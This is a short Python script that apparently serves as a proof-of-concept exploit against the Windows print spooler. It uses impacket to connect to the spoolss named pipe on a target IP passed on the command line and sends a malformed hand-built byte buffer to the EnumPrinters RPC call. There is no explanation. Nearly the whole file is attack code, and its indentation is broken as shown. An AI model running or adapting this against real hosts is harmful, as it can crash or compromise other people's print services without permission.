#!/usr/bin/env python
#coding:utf-8
# Author: niubl --<>
# Purpose:
# Created: 2015/5/20
import sys
import impacket
from impacket.dcerpc import printer
from impacket.dcerpc.v5 import transport,nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *
if len(sys.argv) < 2:
print("Usage: {} <target_ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\spoolss]' % target)
rpctransport.set_dport(445)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(printer.MSRPC_UUID_SPOOLSS)
enumPrinters = "\x0a\x00\x00\x00\x21\xd3\x9f\x98\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x00\x21\x33\x33\x73\x00\x00\x00\x01\x42\x42\x06\x20\x0a\x00\x00\x00\x21\xd3\x9f\x28\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x20\x21\x33\x33\x2a\x40\x40\x40\x20\x45\x45\x06\x20\x00\x00"
dce.call(0, enumPrinters)